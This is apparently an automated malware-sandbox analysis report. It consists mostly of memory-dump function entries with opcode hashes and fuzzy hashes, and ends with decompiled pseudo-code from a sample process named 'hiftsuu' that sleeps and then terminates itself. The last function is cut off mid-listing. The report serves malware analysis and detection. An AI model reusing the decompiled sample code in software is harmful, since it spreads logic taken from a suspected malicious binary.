Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26671231d5150d73e8e87aa95d4cf03aa7a9486d2ac0da4198d1cf48d9fdbbe8
Instruction ID: 0edaeff0dd0cfc8e22bd1a155b8bc83b21ea12b5a9bc440cc409c5fbad88d217
Opcode Fuzzy Hash: 26671231d5150d73e8e87aa95d4cf03aa7a9486d2ac0da4198d1cf48d9fdbbe8
Instruction Fuzzy Hash: 580145303097819FC316CB75C488496FBF5FF8A225B404DADD08A8BA52D730E848CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 017E74E8, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e88fdf833ca4dec6e807de291adc7cd018ebc40d2d75ded19e21e0682e5443c1
Instruction ID: 6537a74b098c341251fc1cb3126514617d9b548c5641d655d51483cddf41428e
Opcode Fuzzy Hash: e88fdf833ca4dec6e807de291adc7cd018ebc40d2d75ded19e21e0682e5443c1
Instruction Fuzzy Hash: 6D01DE316007058FC764DF69D88488BBBF5FF84315B408E29E45A8B664EB70FA599B90

Uniqueness

Uniqueness Score: -1.00%

Function 017E43C0, Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf0abb2fd13872285ebb93a1e9e1b218ed993e82f9805318b6221935beec5568
Instruction ID: 2ef2a48da120c7f92884ab617fe0c51420af26cef3ab2698f5b6edee8bf7ac8f
Opcode Fuzzy Hash: cf0abb2fd13872285ebb93a1e9e1b218ed993e82f9805318b6221935beec5568
Instruction Fuzzy Hash: B90152316007058FC764DF69D48488BBBF6FF843157008E2DE49AC7665DB70EE498B90

Uniqueness

Uniqueness Score: -1.00%

Function 017E06E6, Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d1b3894b88aff858295dd52d30912871941c07451255c854a270ce3ffff1bdf
Instruction ID: 879f8f5eb8e6f86c00f8d16bd5d9207d09e57553be6c4a31d7826a10f94e6b26
Opcode Fuzzy Hash: 4d1b3894b88aff858295dd52d30912871941c07451255c854a270ce3ffff1bdf
Instruction Fuzzy Hash: 4B115774E00208ABDF04DFA5D954AEEBBF6AF8C310F208469E905B7250CB719E00CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 017E43C8, Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6485a7565431919c92499af5c5f266d1c7a391fc10085e8b84da45964a6fe15f
Instruction ID: d3ede68f76727731813ff7eef44c613d569619023d1c79a15f1b4ad6020e14ad
Opcode Fuzzy Hash: 6485a7565431919c92499af5c5f266d1c7a391fc10085e8b84da45964a6fe15f
Instruction Fuzzy Hash: 140121316007058BC764DF69D48488BBBFAFF84315B408E29E45AC7665EB70FE499BD0

Uniqueness

Uniqueness Score: -1.00%

Function 017EFD90, Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ead962983eae961530c7fcfe7ad3c946a7a5ca4662350f88416c7a8f835ff2e
Instruction ID: b863ffe6046742b6f6ddc51ca00f178be29cea63f9868f2c8c02d66465354fc3
Opcode Fuzzy Hash: 4ead962983eae961530c7fcfe7ad3c946a7a5ca4662350f88416c7a8f835ff2e
Instruction Fuzzy Hash: 51F0C837B046145B9755CE5DE028AAEBBE5DBC8270B048036E908D7740DF36EC81DB94

Uniqueness

Uniqueness Score: -1.00%

Function 017E06E8, Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1469fdfea32edb2d4a634ee4c435142ef2fdb9bb6b3606ff7ace38ff0121d5be
Instruction ID: 5c58817b290c993e36bf26ddab63d99e04d0a4828fd1dc8b35d83be2bbbf7d03
Opcode Fuzzy Hash: 1469fdfea32edb2d4a634ee4c435142ef2fdb9bb6b3606ff7ace38ff0121d5be
Instruction Fuzzy Hash: 31011774E00218ABDF04DFA5D954AEEBBF6AF8C310F248469E905B7250DB715E44CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 017E0608, Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf04b890cf4597c540a77ca797baef898d84ef98c2f6d75bff07cf60d2b41bbc
Instruction ID: f5507dceff33706a35bc1fe8712cfda937d62b85f6c4d7ba0f26f8f8729bbce3
Opcode Fuzzy Hash: bf04b890cf4597c540a77ca797baef898d84ef98c2f6d75bff07cf60d2b41bbc
Instruction Fuzzy Hash: CDF062353015118BDB285A79E458B7BB7E6ABD8721F24C43DF516C7640DBB8EC028BD0

Uniqueness

Uniqueness Score: -1.00%

Function 017EC6C0, Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac83ed46a262eec6aaab3f38403ef9fbf258eebf18a00142a6a63ba6b5c678ac
Instruction ID: b6615475393ae615040f8c80be97184f209994ddfcca441604794171821e18e0
Opcode Fuzzy Hash: ac83ed46a262eec6aaab3f38403ef9fbf258eebf18a00142a6a63ba6b5c678ac
Instruction Fuzzy Hash: E8F0BE36B082249F9B1ADEACB4144AAFBE9FB4826571400BFE40DC7241EA31E9408B80

Uniqueness

Uniqueness Score: -1.00%

Function 017E1ED8, Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d27f3f2ddd2ae88a3f46497599919f452c7225fdee1921f2904e0bac0f694e60
Instruction ID: dd9d71afa82a5f5ba61070c85fb7ed87248eae25786bf184cc5907cc2cce3492
Opcode Fuzzy Hash: d27f3f2ddd2ae88a3f46497599919f452c7225fdee1921f2904e0bac0f694e60
Instruction Fuzzy Hash: 55F0C2753093809FC7228A35A8948437FB6EBCA22572584BEFC4ACB352DA32D805C760

Uniqueness

Uniqueness Score: -1.00%

Function 017E3297, Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c07f4693162837c1b57326e65ec0e6110f7c03ec1fd7bf78056fbe0aa399964
Instruction ID: 5f740727c43786ec92806ffbf2fd552686e307294ff2ce4beba57cc49968440f
Opcode Fuzzy Hash: 0c07f4693162837c1b57326e65ec0e6110f7c03ec1fd7bf78056fbe0aa399964
Instruction Fuzzy Hash: D1F044393146504FCB55DB3DE4545A977EAAFCA61475580FAE60ACB371DA70DC018740

Uniqueness

Uniqueness Score: -1.00%

Function 017EF871, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2645d880eff64100c4b74591e23b13c9e2e8104cd4445d65c46fe85e4f8ac15a
Instruction ID: 01baa51617c88c552382efb65e6e9e6d3731c1c66e050936d96ae719b890dfb8
Opcode Fuzzy Hash: 2645d880eff64100c4b74591e23b13c9e2e8104cd4445d65c46fe85e4f8ac15a
Instruction Fuzzy Hash: 5FF0CD327003005FC308EB78D85095A77A6BB8A21574005B9D90ACB3A1EE61DC01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 017E32A8, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dffa2085d090dce011d292f9f4d2520a10cad6b60c210cc3c0576ea2c2ef789
Instruction ID: a41616dc5a2dd6ad9a8b94c9377d5868da13491180cbfe34fcd1c90ee733cab9
Opcode Fuzzy Hash: 6dffa2085d090dce011d292f9f4d2520a10cad6b60c210cc3c0576ea2c2ef789
Instruction Fuzzy Hash: 6FF0FE393105108FCB58DA7ED858869B7EEAFCD62535580B9E60ACB371EE71DC019780

Uniqueness

Uniqueness Score: -1.00%

Function 017E05F8, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dbc677fa3fbb9323a560bcd9cf018a1a402e3582910e3890ec0ba8977b24907
Instruction ID: d0d392d771531640b0b2724e4922c2eb8985f7c2bc55790194a0fa51e3850b7e
Opcode Fuzzy Hash: 7dbc677fa3fbb9323a560bcd9cf018a1a402e3582910e3890ec0ba8977b24907
Instruction Fuzzy Hash: E3F0F6243055008FDB291738941877ABBE65BC9714F24C469F54287142C7B9D8028FD5

Uniqueness

Uniqueness Score: -1.00%

Function 017EF880, Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7161c2126b64076e0a0cc43301cea3106c0149c38bbe45e692ca59b2e2e87dde
Instruction ID: 29e051724814e4f1e1417c0b17811243944773af18965a39ffed871f2c34feee
Opcode Fuzzy Hash: 7161c2126b64076e0a0cc43301cea3106c0149c38bbe45e692ca59b2e2e87dde
Instruction Fuzzy Hash: 63F05E323003145B8358FB79D85481AB7E6FBC92553410679D50AC7760DF21EC118BD1

Uniqueness

Uniqueness Score: -1.00%

Function 017E5169, Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62c79801028fd5b89d8a3fbcb3a56d1dbd5a7716807058a9cf7baf88864fabfe
Instruction ID: d5e7901dad886158f80ecb6f72f4f4282c6305df3685a64033e5fde639387083
Opcode Fuzzy Hash: 62c79801028fd5b89d8a3fbcb3a56d1dbd5a7716807058a9cf7baf88864fabfe
Instruction Fuzzy Hash: 26F0E2722097849FD3228F26DC54A43BFF9EF86354B1884EED549C7252D721CC01C761

Uniqueness

Uniqueness Score: -1.00%

Function 017EF8D8, Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67a40e7489bab1deaf9f448097e372a17e998fe12f58b61f8287a0cf74268d56
Instruction ID: bd5767ce375dce58f9cfff437b422ca06679ff5f37cbb66c35565a34ca4326d6
Opcode Fuzzy Hash: 67a40e7489bab1deaf9f448097e372a17e998fe12f58b61f8287a0cf74268d56
Instruction Fuzzy Hash: 75E02B333093196F9714195968485677FECDBC922430500B6D64AC7152D9158E0187A0

Uniqueness

Uniqueness Score: -1.00%

Function 017E1EE8, Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc3a3de78a176ed2b33a81c71aa8a04fde1f28cd4c8133b8dae27b54fb0beaee
Instruction ID: 7238b2e8dda50653f4eea49a74fd54d3e106c096107fd7e3726b2c2ff9baac24
Opcode Fuzzy Hash: cc3a3de78a176ed2b33a81c71aa8a04fde1f28cd4c8133b8dae27b54fb0beaee
Instruction Fuzzy Hash: 9BF0A0793013009FC3258A39A884813BBB6EBCA275320857DF90A87312CF32EC06C760

Uniqueness

Uniqueness Score: -1.00%

Function 017E5398, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15ec9861ba61dc41f41dd427176778fd78b097c9fca393ffc052fe9c579fe2a3
Instruction ID: 15d58e26de7964d91948c05df95c0a04aa7a6b1da6f857af261bb7ef694b80be
Opcode Fuzzy Hash: 15ec9861ba61dc41f41dd427176778fd78b097c9fca393ffc052fe9c579fe2a3
Instruction Fuzzy Hash: 03E04F363001249BC7109A5EE448D9ABBEEDBD8775B048037F609C7320DA71DC5287E4

Uniqueness

Uniqueness Score: -1.00%

Function 017E2AAB, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5209e3236aa31fc7012dc1594aa357ca0cb49ebfac0dae992101ec333696aabf
Instruction ID: 5d219ca973b86f6d858af96b746a601ddf9204c6ab3f75ecb89e1f657dcd9ebe
Opcode Fuzzy Hash: 5209e3236aa31fc7012dc1594aa357ca0cb49ebfac0dae992101ec333696aabf
Instruction Fuzzy Hash: D7E086723053506BE73515AFAC85B93BACDEBCA364F54407EF609C7346D9A28881C251

Uniqueness

Uniqueness Score: -1.00%

Function 017ED5C1, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f82f67bb8107224f07758022b17d132a7032e44e05dc089456c8aaec85a36399
Instruction ID: d8f9d7b6bb683801530e55c0fb0e9eb2898465f7ebc9ded523b7058e01ea9b42
Opcode Fuzzy Hash: f82f67bb8107224f07758022b17d132a7032e44e05dc089456c8aaec85a36399
Instruction Fuzzy Hash: D5E0CDB37052502BDB25155EACD86A77BDED7C922C715007BE709C7341FE90CC064361

Uniqueness

Uniqueness Score: -1.00%

Function 017EFD7F, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7999de80a458d6db4d05f43027eb29d0efd0f2f5e24ad77a9cad68d8d15b8a0
Instruction ID: 04e393a86b957d6ff4c7f83d5543c706546b96e70e92b3488568261ca71e4fe3
Opcode Fuzzy Hash: a7999de80a458d6db4d05f43027eb29d0efd0f2f5e24ad77a9cad68d8d15b8a0
Instruction Fuzzy Hash: 96E04F77B042446F9351CA69A8089EABFE8DFE5274718816AE118C3281E620C402DB54

Uniqueness

Uniqueness Score: -1.00%

Function 017ED5D0, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba8a75f47ccce90c62ff37c0429f01220ca304caf51648e2dd1496d28b9a803f
Instruction ID: 0566e6e612fd7fda03b5daeae676477c76a2fcfcd11192301e01a379ae8c0d93
Opcode Fuzzy Hash: ba8a75f47ccce90c62ff37c0429f01220ca304caf51648e2dd1496d28b9a803f
Instruction Fuzzy Hash: 6AD05E727041241B5B25158EA8C897BBBCED7CC629324003BE709C3304EE90CC0243A1

Uniqueness

Uniqueness Score: -1.00%

Function 017E8D47, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d015c72bdb6a1b77b07a10c16f779221c914f40469d40ad2445a68d633ba38f
Instruction ID: 6727b13b53843154c282cb19fa8ac02d2d60d40146e35b66b3f5409117006eb7
Opcode Fuzzy Hash: 9d015c72bdb6a1b77b07a10c16f779221c914f40469d40ad2445a68d633ba38f
Instruction Fuzzy Hash: 5EE0E66264D3D54FC703472898360997F709F9711475B80E7DDC1DB1B3D6181C19C762

Uniqueness

Uniqueness Score: -1.00%

Function 017EC961, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5292286db9eac566e90a780cf6f55a79f845e32fb02031daf7797540bb989d1
Instruction ID: 2ff62852c620685c0baaa89dd90b77036edd150bedff820e0e75f57e70a6c780
Opcode Fuzzy Hash: e5292286db9eac566e90a780cf6f55a79f845e32fb02031daf7797540bb989d1
Instruction Fuzzy Hash: 06D0C975B001188F8B54DBEDE4188DD7BF6EF88215B0100E6E20ADB664DB70DE958B51

Uniqueness

Uniqueness Score: -1.00%

Function 017EC8CC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77d9334387df41ee7f12bc553124637f37da5e69a3650c8f19d7afbd06995255
Instruction ID: 64f12eec1e6aeaf4da6d17f8f69d478e0f9149da3c7aaef54b08ad37936e8056
Opcode Fuzzy Hash: 77d9334387df41ee7f12bc553124637f37da5e69a3650c8f19d7afbd06995255
Instruction Fuzzy Hash: 9BD0C935B000088F8B54DBA9E4589DC7BF5EF88215B0000A6E20AD7660DB709D558B41

Uniqueness

Uniqueness Score: -1.00%

Function 017EC9F0, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b1b5a191dc4ec4994ef196bab5e3fc40adeb8b984ec8deb78be55b5f755b039
Instruction ID: a9836311e0a628a633703000fcebccbf6676031d29612cd4a6acea0ea96471c6
Opcode Fuzzy Hash: 4b1b5a191dc4ec4994ef196bab5e3fc40adeb8b984ec8deb78be55b5f755b039
Instruction Fuzzy Hash: 92D01235700008CF8754D79DD4148D87BE5EFC821570140A6E20AC7660CB31DE544B51

Uniqueness

Uniqueness Score: -1.00%

Function 017ECB34, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91467c97ac7131dd6283951a1f19387924ed67694c436e912611f933652957e0
Instruction ID: 4299f6320ec710dfdd5a52dab00e144220d36b0578a10bf99565410bf6df9018
Opcode Fuzzy Hash: 91467c97ac7131dd6283951a1f19387924ed67694c436e912611f933652957e0
Instruction Fuzzy Hash: 35D012357400048F8614DA9DD0148EC73E5EF8861570100EAE20BC7670CB70DDD18781

Uniqueness

Uniqueness Score: -1.00%

Function 017ECA92, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00927536e28b5e2b9b03cc1d8ce79c44bfc515249b3873296744c72cfd122e7e
Instruction ID: a0209280604c794aa5c8c1c9dbbf878011bdf4373c16bce79c33ec7a48c59b79
Opcode Fuzzy Hash: 00927536e28b5e2b9b03cc1d8ce79c44bfc515249b3873296744c72cfd122e7e
Instruction Fuzzy Hash: 56D01235710408CF8764DA99D4148E873F5FF8C61570104E6F606C76A1CB30DD944741

Uniqueness

Uniqueness Score: -1.00%

Function 017ECE7A, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd060a20c5b2ab8ccacf42a3c6f440b995709f23c675252cdd13235c34783bb6
Instruction ID: e00a5a140f72e564da9d3caf61d6303a42fe8a25b16ed9784d79f9422728a895
Opcode Fuzzy Hash: dd060a20c5b2ab8ccacf42a3c6f440b995709f23c675252cdd13235c34783bb6
Instruction Fuzzy Hash: 3CD0C939744054CFCB159B58D0558FCBBF5EF4D62570540E6E6058B121C731D9558B80

Uniqueness

Uniqueness Score: -1.00%

Function 017ECECC, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 437142cfd7e9e7d4a2aab700e24991bde789b4a6bae6e878c74d151320635872
Instruction ID: 42662b1767d43b689c8a5fb812be438aa623d74e2822dd260c832e4d8795ba45
Opcode Fuzzy Hash: 437142cfd7e9e7d4a2aab700e24991bde789b4a6bae6e878c74d151320635872
Instruction Fuzzy Hash: A3D012357000048F8B44D79CD4148ECB7E5EB8821570540E5E70AC7260DB31DE944741

Uniqueness

Uniqueness Score: -1.00%

Function 017ECEC3, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b34f09b95a31c2b16a0a2b32373aefddd8cc7ce755c524b5f317182b2beaa079
Instruction ID: 8d4740368ccb0392dd344f924fbebcad6eff9f55db4b6ff0ccf9424d50d5ae62
Opcode Fuzzy Hash: b34f09b95a31c2b16a0a2b32373aefddd8cc7ce755c524b5f317182b2beaa079
Instruction Fuzzy Hash: E7D0C939744118CFCB158B58D0598FCBBF5EF8D72574680E6E6099B122C731DA548B80

Uniqueness

Uniqueness Score: -1.00%

Function 017ECE83, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42c11711a8ebc7ca18cf533aa25d72696f14e27436f2da37590d450c2599b536
Instruction ID: 068106361d6233b4d3a401df604e901e5d45ea68342ab048f72706078e20f90f
Opcode Fuzzy Hash: 42c11711a8ebc7ca18cf533aa25d72696f14e27436f2da37590d450c2599b536
Instruction Fuzzy Hash: 11C012357000048F8B40D69CD4144EC77E5EB8821570000E5E706C7260DB31DE954741

Uniqueness

Uniqueness Score: -1.00%

Function 017EC728, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98400cf7af06f3a833d54342c43ae23d626dff656c230ffec9817b962f8aceec
Instruction ID: b4ac9790809cc83b9b2c098ca75db864cd6241080ab16e391041777756e92788
Opcode Fuzzy Hash: 98400cf7af06f3a833d54342c43ae23d626dff656c230ffec9817b962f8aceec
Instruction Fuzzy Hash: 6FC08C32B506282FD3A2194CB4482F8ABE96BCA621B000177E60CC2104E3368D4207C0

Uniqueness

Uniqueness Score: -1.00%

Function 017EF6D0, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a4abbf6c702e6e8bc9996d2e138f50e15a08e1f2035d1a42493a79d6f7d09e1
Instruction ID: 718d4681d7d7f9c2ec3ac54ec69e1da44ac465f9e37c204e7db75f24a1ddecb3
Opcode Fuzzy Hash: 4a4abbf6c702e6e8bc9996d2e138f50e15a08e1f2035d1a42493a79d6f7d09e1
Instruction Fuzzy Hash: 73D0803156470CAFC342971CD80598477FCAF0571875140D5ED08CB272E625AD49C741

Uniqueness

Uniqueness Score: -1.00%

Function 017ED598, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 328439fb9288286ee1dc46bf624cf359eae3dfa1ab0fe3f6e760806a1b92941f
Instruction ID: 204e7f90ed8ce1925977b12ac19deb070fc9aa4f4ac3d40758d3bc240a2370f6
Opcode Fuzzy Hash: 328439fb9288286ee1dc46bf624cf359eae3dfa1ab0fe3f6e760806a1b92941f
Instruction Fuzzy Hash: 71D002F2902344CFDB968F64D88864077B1FF52359F6B54D8D1098EAA2E7369E87CB00

Uniqueness

Uniqueness Score: -1.00%

Function 017EF6E0, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.840680759.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 071606f9ac93cf8249539b6597799d487efc42b6685d35dff925687fe447caac
Instruction ID: 8a77fed616b47a4429056de24ea6752656ed7f869c61f96983e84a7b1b2b211a
Opcode Fuzzy Hash: 071606f9ac93cf8249539b6597799d487efc42b6685d35dff925687fe447caac
Instruction Fuzzy Hash: 74B092341506088F82009B58E448C4473E8AB08A253114090E1088B232C621FC408A40

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: hiftsuu PID: 6896 Parent PID: 796 hiftsuuCOMMON

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 0000000C.00000002.813337107.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
